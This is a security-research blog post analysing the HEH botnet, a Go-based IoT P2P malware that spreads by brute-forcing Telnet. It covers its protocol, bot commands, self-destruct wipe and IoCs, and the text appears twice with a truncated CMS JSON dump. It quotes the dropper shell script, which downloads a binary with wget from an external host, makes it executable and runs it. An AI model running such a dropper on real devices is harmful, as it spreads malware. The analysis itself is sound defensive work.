HEH, a new IoT P2P Botnet going after weak telnet services
<h2 id="overview"><strong>Overview</strong></h2><p>Recently, 360Netlab threat detection system captured a batch of unknown samples. The CPU architectures supported by this batch of samples are broad, including x86(32/64), ARM(32/64), MIPS(MIPS32/MIPS-III) and PPC, it is spreading through brute force of the <strong>Telnet</strong> service on ports <strong>23/2323, </strong>which means the bot does not really care of what the end devices are, as long as it can enter the device, it will try its luck to infect the target. The botnet is written in Go language, and uses proprietary P2P protocol, we named it <strong>HEH Botnet</strong> .  </p><p>Based on the parsing result of <strong>go_parser </strong>(A tool I wrote, check it out at GitHub <a href="https://github.com/0xjiayu/go_parser"><strong>here</strong></a>), the HEH sample we captured was constructed by <strong>Go 1.15.1</strong> . The source code files used to build the binary file are listed as follows:</p><pre><code>/mnt/c/Users/brand/go/src/heh/attack.go
/mnt/c/Users/brand/go/src/heh/commands.go
/mnt/c/Users/brand/go/src/heh/structFun.go
/mnt/c/Users/brand/go/src/heh/cryptotext.go
/mnt/c/Users/brand/go/src/heh/httpserver.go
/mnt/c/Users/brand/go/src/heh/killer.go
/mnt/c/Users/brand/go/src/heh/main.go
/mnt/c/Users/brand/go/src/heh/network.go
/mnt/c/Users/brand/go/src/heh/peerlist.go
/mnt/c/Users/brand/go/src/heh/portkill.go
/mnt/c/Users/brand/go/src/heh/services.go
/mnt/c/Users/brand/go/src/heh/telnet.go
</code></pre><p>Note that the project inside the sample is named <strong>heh</strong>. According to the characteristics of the source file path, we can also confirm that the family samples were built by the author in the WSL environment on the Windows platform.</p><h2 id="function-description"><strong>Function description</strong></h2><p>The HEH Botnet sample contains three functional modules: propagation module, local HTTP service module and P2P module. The outline flow chart is as follows:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/HEHBotnet.png" class="kg-image" alt loading="lazy"></figure><h2 id="detailed-analysis"><strong>Detailed analysis</strong></h2><h3 id="initial-stage"><strong>Initial stage</strong></h3><p>The HEH Botnet samples we captured was originally downloaded and executed by a malicious Shell script named <strong>wpqnbw.txt</strong> . The malicious Shell script then downloads and executes every single one of the malicious programs for all different CPU architectures, there is no environment checking or things like that, just run all the programs in turn. The malicious scripts and binary programs are hosted on <strong>pomf.cat</strong> Site(note here, prmf.cat is legit website, don’t block it). The beginning of <strong>wpqnbw.txt</strong> (similar to the subsequent content):</p><pre><code>#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
wget hxxp://a.pomf.cat/xggxyk
busybox wget hxxp://a.pomf.cat/xggxyk
chmod 777 xggxyk; busybox chmod 777 xggxyk; sh xggxyk "$1 3"
</code></pre><p>The parameters passed in when the malicious sample is started, the first parameter is an IP address, the default is the external IP of the compromised machine, theoretically it can also be the IP address of a certain Peer; the second parameter is the Deamon Flag, if you set this parameter is <strong>3</strong> , the sample will start running in daemon mode.</p><p>After the sample is started, a series of service processes will be killed according to the port number:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/kill_serv_by_ports.png" class="kg-image" alt loading="lazy"></figure><p>Then, the HEH sample will start an HTTP Server on the local port <code>:80</code> :</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/start_http_serv.png" class="kg-image" alt loading="lazy"></figure><h3 id="universal-declaration-of-human-rights"><strong>Universal Declaration of Human Rights</strong></h3><p>The initial state of this HTTP Server will be set <code>:80/0</code> to <code>:80/9</code> a total of 10 URIs, correspondingly, the Universal Declaration of Human Rights in 8 languages and 2 empty contents are displayed. For example, the <code>:80/0</code> returns the  Chinese version of the “Universal Declaration of Human Rights” .</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/http_server.png" class="kg-image" alt loading="lazy"></figure><p>The 8 versions:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/human_right_decl.png" class="kg-image" alt loading="lazy"></figure><p>These initial contents of the Universal Declaration of Human Rights will soon be overwritten by the data pulled by the sample from Peer's HTTP service port, and these contents can also be updated through specific instructions in the P2P protocol.</p><h3 id="p2p-module"><strong>P2P module</strong></h3><p>When the P2P module of HEH Botnet is initialized, there are two key steps:</p><ol><li>Initialize the Peer List object, which is a global variable of the <strong>Slice </strong>type, with an initial length of <strong>1000</strong> . This PeerList should be defined in Go language as follows:</li></ol><pre><code>package main
import "net"

type Peer struct {
	addr                 net.UDPAddr
	expirationTimer uint8
}

var peerList []Peer
</code></pre><p>2. Update the HTTP response data. By the <code>argv[1]</code> <strong>: 80</strong> the HTTP request to the service port of the HTTP URI 0 ~ 9, to update their respective data. According to the behavior of the sample, the data updated here is an <strong>executable binary file</strong> .</p><p>The P2P module of HEH Botnet mainly consists of 3 components:</p><ol><li><strong>Ping </strong>component: every 10s, a <strong>Ping</strong> command will be sent to each and every Peer's UDP service port in a 0.1 second interval.</li><li><strong>Peer update</strong> component: every 10s, a bunch of Peer <strong>Update</strong> commands will also be sent to random Peers’ UDP service port in the same 0.1 second interval. After receiving the command, the peer will check whether its Peer List already contains the Peer address information. If not, add the Peer address information to its Peer List.</li><li><strong>UDP service </strong>component: The local Peer service of HEH Botnet is a UDP service. This service monitors data or instructions sent by other Peers, analyzes the instructions and performs corresponding operations.</li></ol><p>This article focuses on the UDP service component of HEH Botnet. This component has two key functions: <strong>UDP service port number generation</strong> and <strong>command parsing</strong> .</p><p>The UDP service port of HEH Botnet is not fixed, nor is it randomly generated, but is calculated based on Peer's own public network IP. Each time HEH Bot receives a new Peer's IP address, it will calculate the Peer's UDP port according to the algorithm, and pack this information into its Peer List. The port generation algorithm is implemented in the function <strong>main.portGenerator()</strong> . The key parts are as follows:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/port_gen.png" class="kg-image" alt loading="lazy"></figure><p>The instructions that HEH Bot can parse are divided into two categories: P2P protocol-related functional instructions ( <strong>Protocol OpCode</strong> ) and Bot-specific control instructions ( <strong>Bot Cmd</strong> ). The Protocol OpCode is located in <strong>the first byte of the UDP data</strong> and is classified as follows:</p><p>OpCodeIns Len(Bytes)MeaningOperation<strong>2</strong>1<strong>Ping</strong>Response a <strong>Pong</strong> to the peer<strong>3</strong>1<strong>Pong</strong>-<strong>4</strong>1<strong>Announce</strong> (itself as a Peer)Add this peer to self's Peer List, and response an <strong>Announce</strong><strong>5</strong>1<strong>PeerUpdate</strong>(Let peer update its PeerList)Update Peer List<strong>1</strong>&gt; 0x229Control bot to do something as the Bot Cmd requiredParse and Execute Bot Cmd</p><p>When the instruction code is <strong>1</strong> , it means that the instruction is a control instruction code for Bot. The meaning of the starting 0x229 Bytes of  data for this type of command is fixed. It contains the Sha256 Hash Value and PSS Signature used for verification in turn, and finally there is an additional verification field of 8 Bytes; the actual command data is from 0x229 bytes onwards. Take No. <strong>7</strong> Bot Cmd (<strong>Cmd.UpdateBotFile</strong>) as an example, the instruction data structure is as follows:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/bot_cmd_st.png" class="kg-image" alt loading="lazy"></figure><p>HEH Bot verifies the received Bot Cmd data in 3 steps:</p><ol><li>Check the length of the command data and Extra Flag;</li><li>Use PSS Signature to verify command data;</li><li>Check the Sha256 Hash of the last real cmd data.</li></ol><p>The logic of the last two steps is as follows:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/cmd_verify.png" class="kg-image" alt loading="lazy"></figure><p>Among them, the public key used when verifying PSS Signature is:</p><pre><code>-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA3c1Jzopt9E4+cDwTMKUo
uBSfu9DoFYctD6OIkiZqE1iF5sJPOr6xhU+nV9sebcAClnO9+6YvlKDIVVwjzNbm
jcfUAYyq8FSLJrifEYvT2LYkYYy/SNKcaaTmAKCJ3ACSXpjhcr6WW5/05ygBShVo
E0q+fVhVTqnkOPpIowuHs9RH0DcuGsxKYXTQizuC0Xa0HrfUrnI7FWNSUfm8v1mA
3FnlikNdTMrlRItnRCGIj+8tyiyvyQAi0/SWrfZLG+HzMgxf+wVBfD9H2XTUcUWX
uoDIlSRIJJkN88dJ+uf1dlHlCqhF9TrimpzALq+OhSd1alUaf+PFINSrjNuIc+wU
9cuYQeD6kMynXu7bKTVqKPz8M0EathmduOthNL7WUhcKUppyyBIfkVmH9cnxWcZu
jPpnGH9n5Djy1QaexRT9JBx7eNSps31cZ9/rQgO05SlA4KFZARCIXNPZmGOZmL8Y
33dPu29ykF02kiOau6SyLgRW2bIudMCrhL82fSo6zSNCXOby8VE3j/BCfn2lx5oI
n5ES65zs2GuF3DGfwheNLiaajV5belCOMCD07TjfBfHJz0hisTy5K1UHItqHSFCa
9EijW7uk416Ulx0HHChKAQJ8Mn2AqD1WBR4Iu20WQENJNIT7ketyCCMwJH0mO3en
LW2/t1GOPfXptXtNmdzp01sCAwEAAQ==
-----END PUBLIC KEY-----
</code></pre><p>The Bot Cmd supported by HEH Bot are as follows:</p><p>Cmd CodeMeaning<strong>0</strong><strong>Restart</strong>: Restart the Bot<strong>2</strong><strong>Exit</strong>: Exit current running bot<strong>3</strong><strong>Attack</strong>: launch attacks ( <strong>not implemented</strong> )<strong>4</strong><strong>Execute</strong>: Execute Shell Commond<strong>5</strong><strong>Print</strong>: <strong>not implemented</strong><strong>6</strong><strong>PeerUpdate</strong>: Update Peer List<strong>7</strong><strong>UpdateBotFile</strong>: By specifying a file download link, let the bot download and update the content of the file held by the bot. This file will be used as HTTP Response Data by the local HTTP Server which launched by the bot<strong>8</strong><strong>SelfDestruct</strong>: Destruct the device<strong>9</strong><strong>Misc</strong>: <strong>not implemented</strong></p><p>At present, the most useful functions for the entire Botnet are to <strong>execute Shell commands</strong>, <strong>update Peer List</strong> and <strong>UpdateBotFile</strong>. The <strong>Attack</strong> function in the code is just a reserved empty function, and has not been implemented. It can be seen that the Botnet is still in the developement stage. We will see what the author comes up with the <strong>Attack</strong> feature.</p><p>The function for parsing Bot Cmd in Bot is <strong>main.executeCommand()</strong> . The overall structure of this function is as follows:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/exec_cmd_func_overview.png" class="kg-image" alt loading="lazy"></figure><p><strong>Self-destruction</strong></p><p>There is one thing really worth noting here. When the Bot receives a cmd with code number <strong>8</strong> , the Bot will try to wipe out everything on all the disks through the following series of Shell commands:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/self_destroy_cmd.png" class="kg-image" alt loading="lazy"></figure><h3 id="communication-module-telnet-service-brute-force-cracking"><strong>Communication module-Telnet service brute force cracking</strong></h3><p>After the Bot runs the P2P module, it will execute the brute force task against the Telnet service for the two ports 23 and 2323 in a parallel manner, and then complete its own propagation.</p><p>First, the Bot will generate a random IP address, and then check whether the IP address is <strong>127.0.0.1</strong> :</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/random_dip.png" class="kg-image" alt loading="lazy"></figure><p>If the IP address is <strong>not 127.0.0.1</strong> , the IP will be scanned. If the Telnet service is opened on port 23 or 2323, it will enter the brute force  stage. The related functions are as follows:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/telnet_related_func.png" class="kg-image" alt loading="lazy"></figure><p>The password dictionary exists in the form of global <strong>Slice</strong> variables, including <strong>171</strong> usernames and <strong>504</strong> passwords : (we are not sharing the list publicly due to security concerns) :</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/telnet_auth_dict.png" class="kg-image" alt loading="lazy"></figure><p>If the attempt is successful, the bot will let the victim access the bot’s own HTTP service, and execute the corresponding file obtained through HTTP (ie the latest Bot sample) to complete the spread:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/send_payload.png" class="kg-image" alt loading="lazy"></figure><h2 id="sum-up"><strong>Sum up</strong></h2><p>The operating mechanism of this botnet is not yet mature, as we can see from above, some important function such as attack module have not yet been implemented. Also the P2P implementation still has flaws, the Bot does maintain a Peer List internally, and there is ongoing Ping&lt;--&gt;Pong communication between peers, but the entire Botnet still is considered centralized, as currently the bot node cannot send control command. In addition, the mechanism of carrying the sample itself through the local HTTP Server is not very pretty. With that being said, the new and developing P2P structure, the multiple CPU architecture support, the embedded self-destruction feature, all make this botnet potentially dangerous.</p><h2 id="contact-us"><strong>Contact us</strong></h2><p>Readers are always welcomed to reach us on <strong><a href="https://twitter.com/360Netlab" rel="noopener noreferrer">twitter</a></strong> , or email to <strong>netlab at 360 dot cn</strong>.</p><h2 id="ioc"><strong>IoC</strong></h2><p>MD5:</p><pre><code>4c345fdea97a71ac235f2fa9ddb19f05
66786509c16e3285c5e9632ab9019bc7
6be1590ac9e87dd7fe19257213a2db32
6c815da9af17bfa552beb8e25749f313
984fd7ffb7d9f20246e580e15fd93ec7
bd07315639da232e6bb4f796231def8a
c1b2a59f1f1592d9713aa9840c34cade
c2c26a7b2a5412c9545a46e1b9b37b0e
43de9c5fbab4cd59b3eab07a81ea8715</code></pre>
Overview

Recently, 360Netlab threat detection system captured a batch of unknown samples. The CPU architectures supported by this batch of samples are broad, including x86(32/64), ARM(32/64), MIPS(MIPS32/MIPS-III) and PPC, it is spreading through brute force of the Telnet service on ports 23/2323, which means the bot does not really care of what the end devices are, as long as it can enter the device, it will try its luck to infect the target. The botnet is written in Go language, and uses proprietary P2P protocol, we named it HEH Botnet .  

Based on the parsing result of go_parser (A tool I wrote, check it out at GitHub here), the HEH sample we captured was constructed by Go 1.15.1 . The source code files used to build the binary file are listed as follows:

/mnt/c/Users/brand/go/src/heh/attack.go
/mnt/c/Users/brand/go/src/heh/commands.go
/mnt/c/Users/brand/go/src/heh/structFun.go
/mnt/c/Users/brand/go/src/heh/cryptotext.go
/mnt/c/Users/brand/go/src/heh/httpserver.go
/mnt/c/Users/brand/go/src/heh/killer.go
/mnt/c/Users/brand/go/src/heh/main.go
/mnt/c/Users/brand/go/src/heh/network.go
/mnt/c/Users/brand/go/src/heh/peerlist.go
/mnt/c/Users/brand/go/src/heh/portkill.go
/mnt/c/Users/brand/go/src/heh/services.go
/mnt/c/Users/brand/go/src/heh/telnet.go


Note that the project inside the sample is named heh. According to the characteristics of the source file path, we can also confirm that the family samples were built by the author in the WSL environment on the Windows platform.


Function description

The HEH Botnet sample contains three functional modules: propagation module, local HTTP service module and P2P module. The outline flow chart is as follows:


Detailed analysis


Initial stage

The HEH Botnet samples we captured was originally downloaded and executed by a malicious Shell script named wpqnbw.txt . The malicious Shell script then downloads and executes every single one of the malicious programs for all different CPU architectures, there is no environment checking or things like that, just run all the programs in turn. The malicious scripts and binary programs are hosted on pomf.cat Site(note here, prmf.cat is legit website, don’t block it). The beginning of wpqnbw.txt (similar to the subsequent content):

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
wget hxxp://a.pomf.cat/xggxyk
busybox wget hxxp://a.pomf.cat/xggxyk
chmod 777 xggxyk; busybox chmod 777 xggxyk; sh xggxyk "$1 3"


The parameters passed in when the malicious sample is started, the first parameter is an IP address, the default is the external IP of the compromised machine, theoretically it can also be the IP address of a certain Peer; the second parameter is the Deamon Flag, if you set this parameter is 3 , the sample will start running in daemon mode.

After the sample is started, a series of service processes will be killed according to the port number:

Then, the HEH sample will start an HTTP Server on the local port :80 :


Universal Declaration of Human Rights

The initial state of this HTTP Server will be set :80/0 to :80/9 a total of 10 URIs, correspondingly, the Universal Declaration of Human Rights in 8 languages and 2 empty contents are displayed. For example, the :80/0 returns the  Chinese version of the “Universal Declaration of Human Rights” .

The 8 versions:

These initial contents of the Universal Declaration of Human Rights will soon be overwritten by the data pulled by the sample from Peer's HTTP service port, and these contents can also be updated through specific instructions in the P2P protocol.


P2P module

When the P2P module of HEH Botnet is initialized, there are two key steps:

 1. Initialize the Peer List object, which is a global variable of the Slice type, with an initial length of 1000 . This PeerList should be defined in Go language as follows:

package main
import "net"

type Peer struct {
	addr                 net.UDPAddr
	expirationTimer uint8
}

var peerList []Peer


2. Update the HTTP response data. By the argv[1] : 80 the HTTP request to the service port of the HTTP URI 0 ~ 9, to update their respective data. According to the behavior of the sample, the data updated here is an executable binary file .

The P2P module of HEH Botnet mainly consists of 3 components:

 1. Ping component: every 10s, a Ping command will be sent to each and every Peer's UDP service port in a 0.1 second interval.
 2. Peer update component: every 10s, a bunch of Peer Update commands will also be sent to random Peers’ UDP service port in the same 0.1 second interval. After receiving the command, the peer will check whether its Peer List already contains the Peer address information. If not, add the Peer address information to its Peer List.
 3. UDP service component: The local Peer service of HEH Botnet is a UDP service. This service monitors data or instructions sent by other Peers, analyzes the instructions and performs corresponding operations.

This article focuses on the UDP service component of HEH Botnet. This component has two key functions: UDP service port number generation and command parsing .

The UDP service port of HEH Botnet is not fixed, nor is it randomly generated, but is calculated based on Peer's own public network IP. Each time HEH Bot receives a new Peer's IP address, it will calculate the Peer's UDP port according to the algorithm, and pack this information into its Peer List. The port generation algorithm is implemented in the function main.portGenerator() . The key parts are as follows:

The instructions that HEH Bot can parse are divided into two categories: P2P protocol-related functional instructions ( Protocol OpCode ) and Bot-specific control instructions ( Bot Cmd ). The Protocol OpCode is located in the first byte of the UDP data and is classified as follows:

OpCodeIns Len(Bytes)MeaningOperation21PingResponse a Pong to the peer31Pong-41Announce (itself as a Peer)Add this peer to self's Peer List, and response an Announce51PeerUpdate(Let peer update its PeerList)Update Peer List1> 0x229Control bot to do something as the Bot Cmd requiredParse and Execute Bot Cmd

When the instruction code is 1 , it means that the instruction is a control instruction code for Bot. The meaning of the starting 0x229 Bytes of  data for this type of command is fixed. It contains the Sha256 Hash Value and PSS Signature used for verification in turn, and finally there is an additional verification field of 8 Bytes; the actual command data is from 0x229 bytes onwards. Take No. 7 Bot Cmd (Cmd.UpdateBotFile) as an example, the instruction data structure is as follows:

HEH Bot verifies the received Bot Cmd data in 3 steps:

 1. Check the length of the command data and Extra Flag;
 2. Use PSS Signature to verify command data;
 3. Check the Sha256 Hash of the last real cmd data.

The logic of the last two steps is as follows:

Among them, the public key used when verifying PSS Signature is:

-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA3c1Jzopt9E4+cDwTMKUo
uBSfu9DoFYctD6OIkiZqE1iF5sJPOr6xhU+nV9sebcAClnO9+6YvlKDIVVwjzNbm
jcfUAYyq8FSLJrifEYvT2LYkYYy/SNKcaaTmAKCJ3ACSXpjhcr6WW5/05ygBShVo
E0q+fVhVTqnkOPpIowuHs9RH0DcuGsxKYXTQizuC0Xa0HrfUrnI7FWNSUfm8v1mA
3FnlikNdTMrlRItnRCGIj+8tyiyvyQAi0/SWrfZLG+HzMgxf+wVBfD9H2XTUcUWX
uoDIlSRIJJkN88dJ+uf1dlHlCqhF9TrimpzALq+OhSd1alUaf+PFINSrjNuIc+wU
9cuYQeD6kMynXu7bKTVqKPz8M0EathmduOthNL7WUhcKUppyyBIfkVmH9cnxWcZu
jPpnGH9n5Djy1QaexRT9JBx7eNSps31cZ9/rQgO05SlA4KFZARCIXNPZmGOZmL8Y
33dPu29ykF02kiOau6SyLgRW2bIudMCrhL82fSo6zSNCXOby8VE3j/BCfn2lx5oI
n5ES65zs2GuF3DGfwheNLiaajV5belCOMCD07TjfBfHJz0hisTy5K1UHItqHSFCa
9EijW7uk416Ulx0HHChKAQJ8Mn2AqD1WBR4Iu20WQENJNIT7ketyCCMwJH0mO3en
LW2/t1GOPfXptXtNmdzp01sCAwEAAQ==
-----END PUBLIC KEY-----


The Bot Cmd supported by HEH Bot are as follows:

Cmd CodeMeaning0Restart: Restart the Bot2Exit: Exit current running bot3Attack: launch attacks ( not implemented )4Execute: Execute Shell Commond5Print: not implemented6PeerUpdate: Update Peer List7UpdateBotFile: By specifying a file download link, let the bot download and update the content of the file held by the bot. This file will be used as HTTP Response Data by the local HTTP Server which launched by the bot8SelfDestruct: Destruct the device9Misc: not implemented

At present, the most useful functions for the entire Botnet are to execute Shell commands, update Peer List and UpdateBotFile. The Attack function in the code is just a reserved empty function, and has not been implemented. It can be seen that the Botnet is still in the developement stage. We will see what the author comes up with the Attack feature.

The function for parsing Bot Cmd in Bot is main.executeCommand() . The overall structure of this function is as follows:

Self-destruction

There is one thing really worth noting here. When the Bot receives a cmd with code number 8 , the Bot will try to wipe out everything on all the disks through the following series of Shell commands:


Communication module-Telnet service brute force cracking

After the Bot runs the P2P module, it will execute the brute force task against the Telnet service for the two ports 23 and 2323 in a parallel manner, and then complete its own propagation.

First, the Bot will generate a random IP address, and then check whether the IP address is 127.0.0.1 :

If the IP address is not 127.0.0.1 , the IP will be scanned. If the Telnet service is opened on port 23 or 2323, it will enter the brute force  stage. The related functions are as follows:

The password dictionary exists in the form of global Slice variables, including 171 usernames and 504 passwords : (we are not sharing the list publicly due to security concerns) :

If the attempt is successful, the bot will let the victim access the bot’s own HTTP service, and execute the corresponding file obtained through HTTP (ie the latest Bot sample) to complete the spread:


Sum up

The operating mechanism of this botnet is not yet mature, as we can see from above, some important function such as attack module have not yet been implemented. Also the P2P implementation still has flaws, the Bot does maintain a Peer List internally, and there is ongoing Ping<-->Pong communication between peers, but the entire Botnet still is considered centralized, as currently the bot node cannot send control command. In addition, the mechanism of carrying the sample itself through the local HTTP Server is not very pretty. With that being said, the new and developing P2P structure, the multiple CPU architecture support, the embedded self-destruction feature, all make this botnet potentially dangerous.


Contact us

Readers are always welcomed to reach us on twitter , or email to netlab at 360 dot cn.


IoC

MD5:

4c345fdea97a71ac235f2fa9ddb19f05
66786509c16e3285c5e9632ab9019bc7
6be1590ac9e87dd7fe19257213a2db32
6c815da9af17bfa552beb8e25749f313
984fd7ffb7d9f20246e580e15fd93ec7
bd07315639da232e6bb4f796231def8a
c1b2a59f1f1592d9713aa9840c34cade
c2c26a7b2a5412c9545a46e1b9b37b0e
43de9c5fbab4cd59b3eab07a81ea8715
{"version":"0.3.1","atoms":[],"cards":[["code",{"code":"/mnt/c/Users/brand/go/src/heh/attack.go\n/mnt/c/Users/brand/go/src/heh/commands.go\n/mnt/c/Users/brand/go/src/heh/structFun.go\n/mnt/c/Users/brand/go/src/heh/cryptotext.go\n/mnt/c/Users/brand/go/src/heh/httpserver.go\n/mnt/c/Users/brand/go/src/heh/killer.go\n/mnt/c/Users/brand/go/src/heh/main.go\n/mnt/c/Users/brand/go/src/heh/network.go\n/mnt/c/Users/brand/go/src/heh/peerlist.go\n/mnt/c/Users/brand/go/src/heh/portkill.go\n/mnt/c/Users/brand/go/src/heh/services.go\n/mnt/c/Users/brand/go/src/heh/telnet.go\n"}],["image",{"src":"__GHOST_URL__/content/images/2020/09/HEHBotnet.png","alt":"","title":""}],["code",{"code":"#!/bin/bash\ncd /tmp || cd /var/run || cd /mnt || cd /root || cd /\nwget hxxp://a.pomf.cat/xggxyk\nbusybox wget hxxp://a.pomf.cat/xggxyk\nchmod 777 xggxyk; busybox chmod 777 xggxyk; sh xggxyk \"$1 3\"\n"}],["image",{"src":"__GHOST_URL__/content/images/2020/09/kill_serv_by_ports.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/09/start_http_serv.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/09/http_server.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/09/human_right_decl.png","alt":"","title":""}],["code",{"code":"package main\nimport \"net\"\n\ntype Peer struct {\n\taddr                 net.UDPAddr\n\texpirationTimer uint8\n}\n\nvar peerList []Peer\n"}],["image",{"src":"__GHOST_URL__/content/images/2020/09/port_gen.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/09/bot_cmd_st.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/09/cmd_verify.png","alt":"","title":""}],["code",{"code":"-----BEGIN PUBLIC KEY-----\nMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA3c1Jzopt9E4+cDwTMKUo\nuBSfu9DoFYctD6OIkiZqE1iF5sJPOr6xhU+nV9sebcAClnO9+6YvlKDIVVwjzNbm\njcfUAYyq8FSLJrifEYvT2LYkYYy/SNKcaaTmAKCJ3ACSXpjhcr6WW5/05ygBShVo\nE0q+fVhVTqnkOPpIowuHs9RH0DcuGsxKYXTQizuC0Xa0HrfUrnI7FWNSUfm8v1mA\n3FnlikNdTMrlRItnRCGIj+8tyiyvyQAi0/SWrfZLG+HzMgxf+wVBfD9H2XTUcUWX\nuoDIlSRIJJkN88dJ+uf1dlHlCqhF9TrimpzALq+OhSd1alUaf+PFINSrjNuIc+wU\n9cuYQeD6kMynXu7bKTVqKPz8M0EathmduOthNL7WUhcKUppyyBIfkVmH9cnxWcZu\njPpnGH9n5Djy1QaexRT9JBx7eNSps31cZ9/rQgO05SlA4KFZARCIXNPZmGOZmL8Y\n33dPu29ykF02kiOau6SyLgRW2bIudMCrhL82fSo6zSNCXOby8VE3j/BCfn2lx5oI\nn5ES65zs2GuF3DGfwheNLiaajV5belCOMCD07TjfBfHJz0hisTy5K1UHItqHSFCa\n9EijW7uk416Ulx0HHChKAQJ8Mn2AqD1WBR4Iu20WQENJNIT7ketyCCMwJH0mO3en\nLW2/t1GOPfXptXtNmdzp01sCAwEAAQ==\n-----END PUBLIC KEY-----\n"}],["image",{"src":"__GHOST_URL__/content/images/2020/09/exec_cmd_func_overview.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/09/self_destroy_cmd.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/09/random_dip.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/09/telnet_related_func.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/09/telnet_auth_dict.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/09/send_payload.png","alt":"","title":""}],["code",{"code":"4c345fdea97a71ac235f2fa9ddb19f05\n66786509c16e3285c5e9632ab9019bc7\n6be1590ac9e87dd7fe19257213a2db32\n6c815da9af17bfa552beb8e25749f313\n984fd7ffb7d9f20246e580e15fd93ec7\nbd07315639da232e6bb4f796231def8a\nc1b2a59f1f1592d9713aa9840c34cade\nc2c26a7b2a5412c9545a46e1b9b37b0e\n43de9c5fbab4cd59b3eab07a81ea8715"}]],"markups":[["strong"],["a",["href","https://github.com/0xjiayu/go_parser"]],["code"],["a",["href","https://twitter.com/360Netlab","rel","noopener noreferrer"]]],"sections":[[1,"h2",[[0,[0],1,"Overview"]]],[1,"p",[[0,[],0,"Recently, 360Netlab threat detection system captured a batch of unknown samples. The CPU architectures supported by this batch of samples are broad, including x86(32/64), ARM(32/64), MIPS(MIPS32/MIPS-III) and PPC, it is spreading through brute force of the "],[0,[0],1,"Telnet"],[0,[],0," service on ports "],[0,[0],1,"23/2323, "],[0,[],0,"which means the bot does not really care of what the end devices are, as long as it can enter the device, it will try its luck to infect the target. The botnet is written in Go language, and uses proprietary P2P protocol, we named it "],[0,[0],1,"HEH Botnet"],[0,[],0," .  "]]],[1,"p",[[0,[],0,"Based on the parsing result of "],[0,[0],1,"go_parser "],[0,[],0,"(A tool I wrote, check it out at GitHub "],[0,[1,0],2,"here"],[0,[],0,"), the HEH sample we captured was constructed by "],[0,[0],1,"Go 1.15.1"],[0,[],0," . The source code files used to build the binary file are listed as follows:"]]],[10,0],[1,"p",[[0,[],0,"Note that the project inside the sample is named "],[0,[0],1,"heh"],[0,[],0,". According to the characteristics of the source file path, we can also confirm that the family samples were built by the author in the WSL environment on the Windows platform."]]],[1,"h2",[[0,[0],1,"Function description"]]],[1,"p",[[0,[],0,"The HEH Botnet sample contains three functional modules: propagation module, local HTTP service module and P2P module. The outline flow chart is as follows:"]]],[10,1],[1,"h2",[[0,[0],1,"Detailed analysis"]]],[1,"h3",[[0,[0],1,"Initial stage"]]],[1,"p",[[0,[],0,"The HEH Botnet samples we captured was originally downloaded and executed by a malicious Shell script named "],[0,[0],1,"wpqnbw.txt"],[0,[],0," . The malicious Shell script then downloads and executes every single one of the malicious programs for all different CPU architectures, there is no environment checking or things like that, just run all the programs in turn. The malicious scripts and binary programs are hosted on "],[0,[0],1,"pomf.cat"],[0,[],0," Site(note here, prmf.cat is legit website, don’t block it). The beginning of "],[0,[0],1,"wpqnbw.txt"],[0,[],0," (similar to the subsequent content):"]]],[10,2],[1,"p",[[0,[],0,"The parameters passed in when the malicious sample is started, the first parameter is an IP address, the default is the external IP of the compromised machine, theoretically it can also be the IP address of a certain Peer; the second parameter is the Deamon Flag, if you set this parameter is "],[0,[0],1,"3"],[0,[],0," , the sample will start running in daemon mode."]]],[1,"p",[[0,[],0,"After the sample is started, a series of service processes will be killed according to the port number:"]]],[10,3],[1,"p",[[0,[],0,"Then, the HEH sample will start an HTTP Server on the local port "],[0,[2],1,":80"],[0,[],0," :"]]],[10,4],[1,"h3",[[0,[0],1,"Universal Declaration of Human Rights"]]],[1,"p",[[0,[],0,"The initial state of this HTTP Server will be set "],[0,[2],1,":80/0"],[0,[],0," to "],[0,[2],1,":80/9"],[0,[],0," a total of 10 URIs, correspondingly, the Universal Declaration of Human Rights in 8 languages and 2 empty contents are displayed. For example, the "],[0,[2],1,":80/0"],[0,[],0," returns the  Chinese version of the “Universal Declaration of Human Rights” ."]]],[10,5],[1,"p",[[0,[],0,"The 8 versions:"]]],[10,6],[1,"p",[[0,[],0,"These initial contents of the Universal Declaration of Human Rights will soon be overwritten by the data pulled by the sample from Peer's HTTP service port, and these contents can also be updated through specific instructions in the P2P protocol."]]],[1,"h3",[[0,[0],1,"P2P module"]]],[1,"p",[[0,[],0,"When the P2P module of HEH Botnet is initialized, there are two key steps:"]]],[3,"ol",[[[0,[],0,"Initialize the Peer List object, which is a global variable of the 